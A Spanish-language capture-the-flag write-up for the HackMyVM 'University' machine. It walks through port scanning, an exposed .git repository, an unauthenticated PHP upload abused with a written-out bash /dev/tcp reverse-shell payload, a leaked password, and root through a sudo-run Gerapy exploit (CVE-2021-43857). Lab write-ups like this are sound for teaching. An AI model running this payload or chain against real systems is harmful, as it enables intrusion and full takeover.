cd ~/blog

~/writeups/hmv/018-university.md

018 - University

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Exposed .git Repository con Source Code DisclosureUnrestricted File Upload sin autenticación con ejecución de PHPCredential Exposure en un archivo oculto del sitio webGerapy RCE en la versión 0.9.7 ejecutada como root (CVE-2021-43857)
hackmyvm.eu/machines/machine.php?vm=University

~2 min de lectura


Enumeración de servicios

Comenzamos con un escaneo general y específico de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.28
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.28
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-03 18:47 -03
Nmap scan report for 192.168.1.28
Host is up (0.00035s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 8e:ee:da:29:f1:ae:03:a5:c3:7e:45:84:c7:86:67:ce (RSA)
|   256 f8:1c:ef:96:7b:ae:74:21:6c:9f:06:9b:20:0a:d8:56 (ECDSA)
|_  256 19:fc:94:32:41:9d:43:6f:52:c5:ba:5a:f0:83:b4:5b (ED25519)
80/tcp open  http    nginx 1.18.0
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-git:
|   192.168.1.28:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Remotes:
|_      https://github.com/rskoolrash/Online-Admission-System
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.70 seconds

Análisis del repositorio y acceso inicial

Nmap detecta un Exposed .git Repository que apunta al proyecto público Online-Admission-System en GitHub. Descargamos el código y lo analizamos. Encontramos Unrestricted File Upload: documents.php y fileupload.php no comprueban el inicio de sesión y el servidor ejecuta el PHP almacenado. Preparamos una reverse shell para enviarla a través de document.php.

El repositorio no sólo identifica el producto. El código permite seguir el flujo de subida, comprobar que falta la validación de sesión y conocer el directorio final studentdoc. Así construimos la URL exacta sin hacer pruebas a ciegas:

<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>

La ejecutamos desde uno de los directorios de subida descubiertos en el código:

http://192.168.1.28/studentdoc/reverse_shell_v2.php

Movimiento lateral a sandra

Ya con acceso como www-data, en /var/www/html encontramos un .sandra_secret con la contraseña del usuario sandra. Cambiamos a ese usuario con su y obtenemos la primera flag. Para la escalada, revisamos sudo -l.

El archivo oculto no está enlazado desde la aplicación. La enumeración local posterior a la shell permite encontrarlo y la validación con su demuestra que la contraseña pertenece a una cuenta del sistema:

sandra@university:~/gerapy$ sudo -l
sudo -l
Matching Defaults entries for sandra on university:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sandra may run the following commands on university:
    (root) NOPASSWD: /usr/local/bin/gerapy

Escalada de privilegios mediante Gerapy

Gerapy 0.9.7 presenta Gerapy RCE (CVE-2021-43857), identificada como CVE-2021-43857, pero primero debemos arrancar el servicio e inicializarlo.

La regla ejecuta Gerapy como root, por lo que cualquier código alcanzado mediante la aplicación heredará UID 0. Como la vulnerabilidad exige autenticación, inicializamos la base y creamos una cuenta administrativa:

sandra@university:~$ sudo gerapy init
sandra@university:~/gerapy$ sudo gerapy migrate
sandra@university:~/gerapy$ sudo gerapy createsuperuser

Y lo lanzamos:

sandra@university:~/gerapy$ sudo gerapy runserver 0.0.0.0:8080

Desde nuestra máquina, descargamos el exploit:

❯ searchsploit gerapy
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                         |  Path
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)                                                             | python/remote/50640.py
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
❯ searchsploit -m 50640
  Exploit: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
      URL: https://www.exploit-db.com/exploits/50640
     Path: /usr/share/exploitdb/exploits/python/remote/50640.py
    Codes: CVE-2021-43857
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/wh01s17/Documentos/maquinas/hmv/01-easy/university/50640.py

Lo configuramos con las credenciales creadas y lo ejecutamos:

❯ python3 50640.py -t 192.168.1.28 -p 8080 -L 192.168.1.10 -P 9001

Obtenemos un error porque no existen proyectos, así que generamos uno en la víctima.

El exploit necesita un proyecto válido para llegar a la función vulnerable. El primer fallo revela una precondición ausente en una instalación recién creada:

sandra@university:~/gerapy/projects$ sudo gerapy init

Las notas registran que la segunda ejecución del exploit abrió una shell como root y permitió capturar la flag, pero no conservaron el prompt ni una salida de identidad de esa conexión.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados